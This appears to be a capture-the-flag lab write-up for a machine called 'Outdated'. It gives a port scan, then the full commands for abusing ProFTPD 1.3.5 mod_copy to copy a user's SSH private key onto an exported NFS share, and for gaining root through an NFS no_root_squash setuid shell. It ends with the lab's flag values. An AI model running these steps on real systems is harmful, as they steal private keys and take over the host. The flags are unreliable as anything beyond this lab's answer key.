Info

  • Name – Outdated
  • IP Address – 172.31.1.22

Enumeration

Open Ports

PortProtocolServiceVersion
21tcpftpProFTPD 1.3.5
22tcpsshOpenSSH 5.9p1 Debian 5ubuntu1.10
68udpfiltereddhcpc
111tcprpcbind2-4
2049tcpnfs_acl2-3
35804tcpmountd1-3
48197tcpmountd1-3
50352tcpnlockmgr1-4
55495tcpstatus1
55614tcpmountd1-3

Exploitation

Exploit Details (SearchSploit)

As we don’t have a webserver available we have to run the exploit manually and make a few adjustments.

mkdir nfs
mount -t nfs $ip:var/nfsbackups nfs -o nolock
telnet $ip 21
site cpfr /home/daniel/.ssh/id_rsa
site cpto /var/nfsbackups/id_rsa
quit
cp nfs/id_rsa .
chmod 600 id_rsa
ssh daniel@$ip -i id_rsa
whoami
cat access.txt

Privilege Escalation

Exploit Details (NFS no_root_squash/no_all_squash)

  • Name – NFS no_root_squash/no_all_squash
  • CVE – N/A
  • Module – N/A
  • Disclosed – N/A
  • References
    • N/A
sudo echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > x.c
gcc x.c -o nfs/x
chmod +s nfs/x
/var/nfsbackups/x
whoami
cat /root/system.txt

Loot

local.txt - c3f5c15577e8d04d18ead19da6e9ea7a
system.txt - 1d57710c976ac5da6092e60f852506b8